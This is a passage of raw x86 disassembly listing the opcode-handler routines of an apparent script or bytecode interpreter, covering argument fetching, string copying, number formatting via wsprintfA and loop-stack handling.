pop ebx
add esp, 0x4a8
ret
mov ebx, 3
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040e540
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 3
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call fcn.0040e5b0
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 3
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040eb40
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 0x16
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
mov ecx, dword [0x41a1f0]
push 0x4190a0
push edx
push eax
push ecx
call fcn.0040e430
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 0x26
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
push 0x418f78
mov dword [0x41a1f4], 0x418f78
call fcn.004039f0
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040e470
add esp, 0x14
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 0x36
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
mov edx, dword [0x41a1f0]
push 0x418a48
push eax
push ecx
push edx
call fcn.0040e4a0
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 6
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call fcn.0040e570
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 5
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040e880
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 5
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov edx, dword [0x41a1f4]
mov eax, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.0040e8a0
add esp, 0x10
pop edi
pop esi
neg eax
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 0x87
call fcn.00404870
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f4]
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
push edx
push eax
call fcn.0040eaa0
add esp, 0x10
neg eax
mov dword [0x41a7a8], eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4a8
ret
mov eax, dword [0x41b388]
push ebx
push esi
mov dword [0x41a0a8], eax
call fcn.00408810
mov eax, dword [0x41a0a8]
mov edx, dword [0x41a1d8]
add eax, 0xfffffff0
shl eax, 4
mov ecx, dword [eax + edx + 0xc]
add eax, edx
mov dword [0x419090], ecx
mov ebx, dword [eax + 4]
mov esi, ebx
and esi, 3
cmp esi, 3
mov dword [0x41a1b8], eax
ja case.default.0x407860
jmp dword [esi*4 + 0x4079d8]
push 0
call fcn.00408bf0
add esp, 4
jmp 0x4078ce
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
jne case.default.0x407860
pop esi
mov eax, 0x100
pop ebx
ret
test bh, 2
je 0x40789d
mov dword [0x41a1f0], 0x418f18
jmp 0x407977
mov edx, dword [0x41a1e0]
mov dword [0x41a1f0], edx
jmp case.default.0x407860
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x407881
test bl, bl
jns 0x4078c9
mov esi, 4
call fcn.00407f30
jmp 0x4078ce
call fcn.00407f40
mov dword [0x41a1f0], eax
test bl, 4
je 0x407901
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4078f0
mov eax, dword [0x41b390]
jmp 0x40790b
push 0
call fcn.00408bf0
add esp, 4
push 0
mov dword [0x41a1c8], eax
call fcn.00408bf0
add esp, 4
and ebx, 0x30
mov dword [0x41a1c4], eax
jne 0x407935
push 0
call fcn.00408bf0
add esp, 4
mov dword [0x41a1f4], eax
jmp 0x40796e
cmp ebx, 0x30
jne 0x407946
mov dword [0x41a1f4], 0x418a48
jmp 0x40796e
cmp ebx, 0x20
jne 0x407964
push 0x418f78
mov dword [0x41a1f4], 0x418f78
call fcn.004039f0
add esp, 4
jmp 0x40796e
mov dword [0x41a1f4], 0x4190a0
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4079d4
mov ecx, dword [0x41a1f4]
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call dword [0x419090]
test eax, eax
mov dword [0x41a7a8], eax
jl 0x4079c1
cmp eax, 0x100
jl 0x4079d4
and eax, 0x1ffff
pop esi
mov dword [0x41a78c], eax
mov dword [0x41a7a8], 0
xor eax, eax
pop ebx
ret
neg eax
cmp esi, 3
mov dword [0x41a7a8], eax
jne 0x4079d2
call fcn.00407fc0
xor eax, eax
pop esi
pop ebx
ret
mov eax, dword [0x41a7a0]
movzx ecx, word [eax]
add eax, 2
push esi
mov dword [0x41a7a0], eax
lea esi, [eax + ecx*2]
mov eax, dword [0x41b388]
test eax, eax
jne 0x408e39
call fcn.00408810
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jg 0x408e46
cmp dword [0x41a788], 1
je 0x408e30
mov eax, 6
pop esi
ret
mov eax, dword [0x41b4f8]
test eax, eax
jne 0x408e44
mov dword [0x41a7a0], esi
call fcn.004080f0
xor eax, eax
pop esi
ret
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [0x41b388]
push edi
mov dword [0x41a7f0], esi
call fcn.00408810
cmp esi, 0x38
ja case.0x408eb1.11
jmp dword [esi*4 + 0x40a6b4]
mov eax, dword [0x41accc]
test eax, eax
je 0x409285
dec eax
mov dword [0x41accc], eax
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a6aa
mov eax, dword [0x41acc0]
mov dword [0x41a7a0], eax
call fcn.004080f0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a6aa
jmp 0x4090d7
mov eax, dword [0x41b38c]
test eax, eax
jne 0x408f44
mov ecx, dword [0x41a7cc]
mov eax, dword [ecx + 0x24]
test eax, eax
je 0x408f37
pop edi
pop esi
pop ebp
mov dword [0x41a78c], 0xffffffff
xor eax, eax
pop ebx
add esp, 8
ret
pop edi
pop esi
pop ebp
mov eax, 0xa
pop ebx
add esp, 8
ret
mov edx, dword [eax*4 + 0x41a7fc]
dec eax
mov dword [0x41b38c], eax
mov dword [0x41a7a0], edx
call fcn.004080f0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [0x41acd8]
lea edi, [eax + esi*8 - 0x20]
mov eax, dword [0x41a79c]
cmp eax, 1
je 0x408fd7
cmp eax, 4
je 0x408fd7
xor esi, esi
cmp eax, 8
jne 0x408fa0
mov eax, dword [0x41b388]
cmp eax, 1
jne 0x408f93
mov esi, eax
jmp 0x408f9b
test eax, eax
jne 0x4092f0
call fcn.004080f0
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a6aa
or esi, 0x1000
mov word [edi], si
mov word [edi + 2], ax
mov ecx, dword [0x41b388]
mov dword [edi + 4], ecx
call fcn.004080f0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00408c30
mov ecx, dword [0x41a75c]
test ecx, ecx
jne 0x40a66f
test eax, eax
je 0x408ff3
mov eax, 0x1000
xor edx, edx
mov dx, word [edi]
and edx, 0xfff
or edx, eax
mov word [edi], dx
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push 0
call fcn.00408bf0
mov ebp, eax
mov eax, dword [0x41a75c]
add esp, 4
test eax, eax
mov dword [0x41b3ec], ebp
jne 0x40a6aa
cmp dword [0x41a79c], 8
jne 0x4092f0
mov eax, dword [0x41b388]
cmp eax, 1
mov ebx, eax
jg 0x4092f0
call fcn.004080f0
mov eax, dword [0x41aab8]
xor esi, esi
xor edi, edi
test ah, 2
mov dword [0x41a98c], esi
jne 0x40a69b
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40909a
cmp esi, ebp
jne 0x409082
test ebx, ebx
je 0x4090a8
mov edi, dword [0x41acc0]
inc esi
call fcn.004080f0
mov eax, dword [0x41aab8]
test ah, 2
je 0x409066
mov dword [0x41a98c], esi
jmp 0x4090bd
pop edi
mov dword [0x41a98c], esi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov eax, dword [0x41acc0]
mov dword [0x41a98c], esi
mov dword [0x41a7a0], eax
call fcn.004080f0
test edi, edi
je 0x40a69b
mov ecx, dword [0x41aab4]
mov dword [0x41a7a0], ecx
mov dword [0x41acc0], edi
call fcn.00408e50
test eax, eax
mov dword [0x41b2f4], eax
je 0x40a69b
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov edx, dword [0x41acdc]
cmp word [edx], 4
jne 0x40a41a
push 0
mov dword [0x41a9a4], eax
call fcn.00408bf0
push 0
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov esi, eax
mov eax, dword [0x41a75c]
add esp, 8
test eax, eax
mov dword [0x41a98c], esi
jne 0x40a6aa
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a6aa
mov ecx, dword [0x41b3ec]
test ecx, ecx
mov eax, dword [0x41a9a4]
mov eax, dword [eax]
jl 0x40916c
cmp eax, esi
jl 0x409186
jmp 0x409170
cmp eax, esi
jg 0x409186
mov ecx, dword [0x41acc0]
mov dword [0x41b2f4], 1
mov dword [0x41a7a0], ecx
call fcn.004080f0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push 0x64
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
cmp eax, 1
jl 0x40a5a6
pop edi
lea edx, [eax + eax*4]
pop esi
shl edx, 1
pop ebp
mov dword [0x41a78c], edx
xor eax, eax
pop ebx
add esp, 8
ret
cmp dword [0x41accc], 0xf
jl 0x4091e6
pop edi
pop esi
pop ebp
mov eax, 9
pop ebx
add esp, 8
ret
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a6aa
call fcn.004080f0
push 0xffffffffffffffff
mov dword [0x41acd0], 0
call fcn.00408bf0
push 0
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a98c], eax
jne 0x40a66f
mov edx, dword [0x41b3ec]
test edx, edx
je 0x408edd
jge 0x409245
or edx, 0xffffffff
jmp 0x409247
add edx, eax
mov ecx, dword [0x41accc]
inc ecx
mov dword [0x41accc], ecx
shl ecx, 4
add ecx, 0x41a888
pop edi
pop esi
mov dword [0x41b3ec], edx
mov dword [ecx], edx
mov edx, dword [0x41aab4]
pop ebp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], edx
xor eax, eax
pop ebx
add esp, 8
ret
mov esi, dword [0x41accc]
test esi, esi
jne 0x409292
pop edi
pop esi
pop ebp
mov eax, 0xb
pop ebx
add esp, 8
ret
mov eax, esi
shl eax, 4
add eax, 0x41a888
mov ebx, dword [eax + 4]
mov ecx, dword [eax]
inc ebx
cmp ecx, 0xffffffff
mov dword [eax + 4], ebx
mov edx, ebx
je 0x4092c1
cmp edx, ecx
jl 0x4092c1
dec esi
pop edi
mov dword [0x41accc], esi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [eax + 0xc]
mov dword [0x41a7a0], eax
call fcn.004080f0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [0x41a79c]
test eax, eax
jne 0x4092fd
mov eax, dword [0x41b388]
cmp eax, 0x2d
je 0x4092fd
cmp eax, 0x28
je 0x4092fd
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
add esp, 8
ret
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
je 0x409314
cmp eax, 0xffffffff
jne 0x40a6aa
mov eax, dword [0x41a788]
test eax, eax
jne 0x409326
mov ecx, dword [0x41a7d4]
mov byte [ecx], 0
cmp dword [0x41a788], 1
jne 0x409346
mov edx, dword [0x41a7d4]
mov eax, dword [0x41b4f8]
push 0xa
push edx
push eax
call fcn.0040ec6b
add esp, 0xc
mov ecx, dword [0x41a7d4]
push ecx
call fcn.00404410
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov edx, dword [0x41acdc]
mov dword [0x41a990], edx
mov dword [0x41a758], 1
mov esi, 1
mov edi, 0x15
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jg 0x40a6aa
mov eax, dword [0x41a788]
cmp eax, 1
je 0x4093cb
test eax, eax
jne 0x40a41a
cmp esi, 1
mov dword [0x41b4f8], eax
jne 0x409407
mov eax, 0x10
mov dword [0x41b4f8], eax
jmp 0x409407
cmp esi, 1
jne 0x4093ea
cmp dword [0x41a7f0], edi
jne 0x4093ea
mov eax, dword [0x41b4f8]
add eax, 3
sar eax, 2
mov dword [0x41b4f8], eax
jmp 0x4093ef
mov eax, dword [0x41b4f8]
mov ecx, dword [0x41a758]
imul ecx, eax
cmp eax, 1
mov dword [0x41a758], ecx
jl 0x40a5a6
mov edx, dword [0x41a990]
mov dword [edx + esi*4 + 4], eax
inc esi
cmp esi, 5
jl 0x409391
mov eax, dword [0x41a990]
push eax
call fcn.00407fd0
mov esi, dword [0x41a7f0]
mov eax, dword [0x41a758]
mov edx, dword [0x41a990]
xor ecx, ecx
add esp, 4
cmp esi, edi
setne cl
shl eax, 2
cmp eax, 0x400
mov dword [0x41a758], eax
lea ecx, [ecx + ecx + 2]
mov word [edx], cx
jl 0x40947f
push eax
call fcn.0040e160
mov ecx, dword [0x41a990]
add esp, 4
pop edi
mov dword [ecx + 0x1c], eax
mov edx, dword [0x41a990]
pop esi
pop ebp
mov word [edx + 2], 2
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00407e00
mov ecx, dword [0x41a990]
pop edi
mov dword [ecx + 0x1c], eax
mov edx, dword [0x41a990]
pop esi
pop ebp
mov word [edx + 2], 0
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov eax, dword [0x41acdc]
mov dword [0x41a990], eax
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jg 0x40a6aa
cmp dword [0x41a788], 1
je 0x4094e7
pop edi
pop esi
pop ebp
mov eax, 5
pop ebx
add esp, 8
ret
cmp dword [0x41b4f8], 0x40
jl 0x40a5a6
mov ecx, dword [0x41a990]
push ecx
call fcn.00407fd0
mov edx, dword [0x41a990]
mov word [edx + 2], 2
mov eax, dword [0x41a990]
mov word [eax], 4
mov ecx, dword [0x41b4f8]
push ecx
call fcn.0040e160
mov edx, dword [0x41a990]
mov dword [edx + 0x1c], eax
mov eax, dword [0x41b4f8]
mov ecx, dword [0x41a990]
add esp, 8
add eax, 3
pop edi
sar eax, 2
mov dword [ecx + 8], eax
mov edx, dword [0x41a990]
pop esi
pop ebp
mov dword [0x41b3ec], eax
mov dword [edx + 0xc], 0
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00408c90
mov eax, dword [0x41a75c]
test eax, eax
jne 0x40a6aa
mov ecx, dword [0x41a7d4]
mov edx, dword [0x41b390]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x409580
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov eax, dword [0x41acdc]
push eax
mov dword [0x41a990], eax
call fcn.00408000
push 0
mov dword [0x41a98c], eax
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a988], eax
jne 0x40a66f
mov ecx, dword [0x41b3ec]
test ecx, ecx
jl 0x40a5a6
jne 0x4095f6
mov ecx, dword [0x41a98c]
mov dword [0x41b3ec], ecx
mov edx, dword [0x41a7f0]
push eax
mov eax, dword [0x41a990]
push ecx
mov ecx, dword [eax + 0x1c]
cmp edx, 0x18
mov edx, dword [0x41b390]
push ecx
push edx
jne 0x40961a
call fcn.0040e1b0
jmp 0x40961f
call fcn.00403b60
add esp, 0x10
cmp eax, 0xffffffff
mov dword [0x41a98c], eax
jne 0x409cb3
pop edi
pop esi
pop ebp
mov eax, 0xc
pop ebx
add esp, 8
ret
call fcn.00408c90
mov ecx, dword [0x41a7d4]
mov edx, dword [0x41b390]
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x409650
call fcn.00408c90
mov eax, dword [0x41a75c]
test eax, eax
jne 0x40a6aa
mov eax, dword [0x41a7d4]
mov ecx, dword [0x41b390]
push eax
push ecx
call fcn.00403d70
add esp, 8
test eax, eax
je 0x40a69b
pop edi
pop esi
pop ebp
mov eax, 0xc
pop ebx
add esp, 8
ret
pop edi
pop esi
pop ebp
mov dword [0x41a78c], 0xfffffffb
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00408c90
mov ecx, dword [0x41a7d4]
mov edx, dword [0x41b390]
jmp 0x4096c0
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4096c0
push 0x415301
call fcn.00408cf0
mov ecx, dword [0x41a7d4]
add esp, 4
cmp ecx, eax
je 0x4096e4
mov byte [ecx], 0
mov eax, dword [0x41a75c]
test eax, eax
jne 0x40a6aa
pop edi
pop esi
pop ebp
mov dword [0x41a78c], 0xfffffffc
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov edx, dword [0x41acdc]
mov word [edx], 4
mov eax, dword [0x41acdc]
push 0x64
mov dword [0x41a990], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
test eax, eax
jne 0x409758
pop edi
pop esi
pop ebp
mov eax, 0x13
pop ebx
add esp, 8
ret
call fcn.0040f5cc
cdq
idiv dword [0x41b3ec]
mov ecx, dword [0x41a760]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword [ecx], edx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov edx, dword [0x41acdc]
push 0
mov dword [0x41a990], edx
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
mov ecx, dword [0x41a990]
cmp word [ecx], 2
je 0x40a69b
test eax, eax
mov word [ecx], 2
mov ecx, 3
je 0x409864
mov edx, dword [0x41a7d4]
mov esi, dword [str._05d]
mov dword [edx], esi
mov bl, byte [0x4153e4]
mov byte [edx + 4], bl
mov edx, eax
and edx, 0xf
cmp dl, 9
mov dl, al
jle 0x40982a
mov ecx, dword [0x41a7d4]
mov byte [ecx + 2], 0x31
mov ecx, dword [0x41a7d4]
and dl, 0xf
add dl, 0x26
mov byte [ecx + 3], dl
mov edx, dword [0x41a7d4]
mov byte [edx + 4], 0x64
mov ecx, dword [0x41a7d4]
mov byte [ecx + 5], 0
mov ecx, 4
jmp 0x409839
mov esi, dword [0x41a7d4]
and dl, 0xf
add dl, 0x30
mov byte [esi + 2], dl
test al, 0x10
je 0x409846
mov eax, dword [0x41a7d4]
mov byte [eax + ecx], 0x78
mov ecx, dword [0x41a760]
mov edx, dword [ecx]
mov eax, dword [0x41a7d4]
mov ecx, dword [0x41b390]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x40987a
mov edx, dword [0x41b390]
mov eax, dword [0x41a760]
mov ecx, dword [eax]
push 0xa
push edx
push ecx
call fcn.0040ec6b
mov ecx, dword [0x41b390]
mov edx, dword [0x41a760]
add esp, 0xc
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x409890
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
mov ecx, eax
test ecx, ecx
mov dword [0x41a760], ecx
je 0x40a62a
mov eax, dword [0x41acdc]
cmp word [eax], 4
je 0x40a69b
mov word [eax], 4
cmp byte [ecx], 0x24
jne 0x409903
mov al, byte [ecx + 1]
xor esi, esi
test al, al
je 0x4098f7
lea edi, [ecx + 2]
mov edi, edi
call fcn.00407ee0
shl esi, 4
add esi, eax
mov al, byte [edi]
inc edi
test al, al
jne 0x4098e0
mov ecx, dword [0x41a760]
pop edi
mov dword [ecx], esi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push ecx
call fcn.0040ec28
mov edx, dword [0x41a760]
add esp, 4
pop edi
pop esi
pop ebp
mov dword [edx], eax
xor eax, eax
pop ebx
add esp, 8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
pop edi
pop esi
pop ebp
mov dword [0x41a77c], eax
mov dword [0x41a7d0], ecx
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov eax, dword [0x41acdc]
mov dword [0x41a990], eax
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov ecx, dword [0x41a990]
push ecx
call fcn.00407fd0
mov edx, dword [0x41a990]
mov word [edx + 2], 1
mov eax, dword [0x41acdc]
mov cx, word [eax]
mov edx, dword [0x41a990]
mov eax, dword [0x41a760]
add esp, 4
pop edi
mov word [edx], cx
mov ecx, dword [0x41a990]
pop esi
pop ebp
mov dword [ecx + 0x1c], eax
xor eax, eax
pop ebx
add esp, 8
ret
push 0
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a98c], eax
jne 0x40a66f
mov edx, dword [0x41b3ec]
add edx, 0x10000
push eax
mov dword [0x41a78c], edx
call fcn.0040bc50
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
mov ecx, dword [0x41a760]
add ecx, eax
mov dword [0x41a750], ecx
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
je 0x409a64
cmp eax, 0xffffffff
jne 0x40a6aa
cmp dword [0x41a788], 2
jne 0x409aa4
mov ecx, dword [0x41a7d4]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409a78
mov edx, dword [0x41a750]
sub eax, esi
mov dword [0x41a790], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x409a90
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
cmp dword [0x41a7f0], 0x22
jne 0x409ac4
mov eax, dword [0x41a750]
mov dl, byte [0x41b4f8]
pop edi
pop esi
pop ebp
mov byte [eax], dl
xor eax, eax
pop ebx
add esp, 8
ret
mov cx, word [0x41b4f8]
mov edx, dword [0x41a750]
pop edi
pop esi
pop ebp
mov word [edx], cx
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov ecx, dword [0x41acdc]
mov dword [0x41a990], ecx
mov dword [0x41a9a4], eax
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
mov edx, dword [0x41a760]
mov ecx, dword [0x41a7f0]
add eax, edx
cmp ecx, 0x27
mov dword [0x41ace8], eax
jne 0x409bcf
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a98c], eax
jne 0x40a66f
mov ecx, dword [0x41a990]
mov word [ecx], 2
mov ecx, dword [0x41ace8]
cmp byte [ecx], 0
jne 0x409b9f
mov edx, dword [0x41a9a4]
pop edi
pop esi
pop ebp
mov dword [edx], 0
mov dword [0x41a790], 0
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00408d40
push eax
mov eax, dword [0x41a9a4]
push eax
push ecx
call fcn.00408d50
mov ecx, dword [0x41acec]
add esp, 0xc
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
mov dword [0x41a790], ecx
xor eax, eax
pop ebx
add esp, 8
ret
mov edx, dword [0x41a990]
cmp word [edx], 2
jne 0x409bf7
mov edx, dword [0x41a9a4]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x409be3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
cmp ecx, 0x23
jne 0x409c11
movzx eax, byte [eax]
mov ecx, dword [0x41a9a4]
pop edi
pop esi
pop ebp
mov dword [ecx], eax
xor eax, eax
pop ebx
add esp, 8
ret
movzx edx, word [eax]
mov eax, dword [0x41a9a4]
pop edi
pop esi
pop ebp
mov dword [eax], edx
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov ecx, dword [0x41acdc]
mov word [ecx], 4
mov edx, dword [0x41acdc]
mov dword [0x41a990], edx
mov dword [0x41a9a4], eax
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov ecx, dword [0x41acdc]
cmp word [ecx], 2
jne 0x40a5a6
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409c78
pop edi
sub eax, edx
mov edx, dword [0x41a9a4]
pop esi
pop ebp
mov dword [edx], eax
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00408c90
mov eax, dword [0x41a75c]
test eax, eax
jne 0x40a6aa
mov eax, dword [0x41a7d4]
push eax
call fcn.00403c90
add esp, 4
pop edi
pop esi
pop ebp
mov dword [0x41a790], eax
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov ecx, dword [0x41acdc]
mov word [ecx], 2
mov edx, dword [0x41acdc]
push edx
mov dword [0x41a750], eax
call fcn.00408000
add esp, 4
dec eax
mov dword [0x41a76c], eax
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
push 0
mov dword [0x41ace8], eax
call fcn.00408bf0
push 0
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a98c], eax
jne 0x40a66f
mov ecx, dword [0x41b3ec]
test ecx, ecx
mov esi, dword [0x41ace8]
jge 0x409d6b
mov ecx, esi
lea edi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
